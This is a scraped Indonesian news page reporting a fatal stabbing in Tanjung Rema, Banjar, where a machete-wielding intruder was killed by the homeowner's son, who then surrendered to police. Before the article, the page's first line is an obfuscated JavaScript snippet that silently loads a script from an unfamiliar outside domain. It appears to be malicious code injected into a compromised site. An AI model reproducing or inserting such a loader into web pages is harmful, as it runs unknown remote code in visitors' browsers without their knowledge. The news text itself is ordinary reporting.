(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Mengamuk Bawa Parang, Pemuda di Desa Tanjung Rema Tewas Ditusuk Pisau Dapur


KANALKALIMANTAN.COM, MARTAPURA – Seorang pemuda asal Desa Tanjung Rema Kecamatan Martapura, Kabupaten Banjar, tewas usai ditusuk secara brutal oleh HR (37) pada Minggu (8/1/2023) malam.

Korban Muhammad Jahri (22) ditusuk menggunakan pisau dapur. Disebutkan, korban yang membawa senjata tajam jenis parang sebelumnya sempat mencoba menerobos rumah pelaku dengan penuh amarah.

Peristiwa itu diungkapkan Kepolisian Resort Banjar oleh Kapolres Banjar AKBP M Ifan Hariyat melalui Kasi Humas Polres Banjar, Iptu Suwarji, Senin (9/1/2022) siang.

“Korban datang ke rumah pelaku dan marah-marah tidak jelas. Dengan membawa satu buah parang, korban mencoba mendobrak pintu depan rumah dengan cara memukul, setelah itu korban memecahkan kaca jendela,” ujar Kasi Humas Polres Banjar, Iptu Suwarji.

 

Baca juga  : Dukung Moda Transportasi Massal di IKP Kalsel, Dishub Banjarbaru Bangun 8 Halte

Sebelum kejadian penusukan, diketahui korban dengan tanpa alasan menerobos masuk ke dalam rumah pelaku melalui jendela yang telah dipecahkannya.

Kemudian korban mencoba mengayunkan parang yang dibawanya ke arah orangtua pelaku yang saat itu berada di dalam rumah tersebut hingga mengenai jari jempol tangan sebelah kanan.

“Pada saat itu orangtua pelaku pun sempat mencoba merebut parang yang dipegang oleh korban dengan cara memukul tangan korban, namun tidak berhasil,” sebutnya lagi.

Menyaksikan kejadian itu, HR yang tengah berada di dapur rumahnya mencoba mendatangi korban.

“Pelaku membawa sebilah pisau yang telah diambilnya dari dapur yang kemudian dari arah belakang korban, menusukan pisau tersebut secara brutal,” sambungnya.

Baca juga  : Kalapas Kotabaru Pastikan Layanan WBP Semakin Baik dan Gratis

Atas kejadian itu korban dinyatakan meninggal dunia setelah dilarikan ke RSUD Ratu Zalecha Martapura dengan mendapat total tujuh mata luka di punggung bagian belakang badan, satu mata luka bagian kepala, dan empat mata luka di bagian tangan sebelah kanan.

Sementara itu, pelaku HR diketahui telah menyerahkan diri sebelum korban dinyatakan meninggal dunia sekitar pukul 20.41 Wita.

“Dengan didampingi oleh keluarga, Kades Tanjung Rema, dan Bhabinkamtibmas Tanjung Rema Aipda Harri Savie Anton, pelaku akhirnya menyerahkan diri ke Polsek Martapura Kota,” pungkasnya.

Adapun dari hasil olah tempat kejadian perkara dari pihak kepolisian ditemukan barang bukti yang diamankan berupa satu buah baju kaos warna hitam dan satu buah celana pendek warna coklat. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.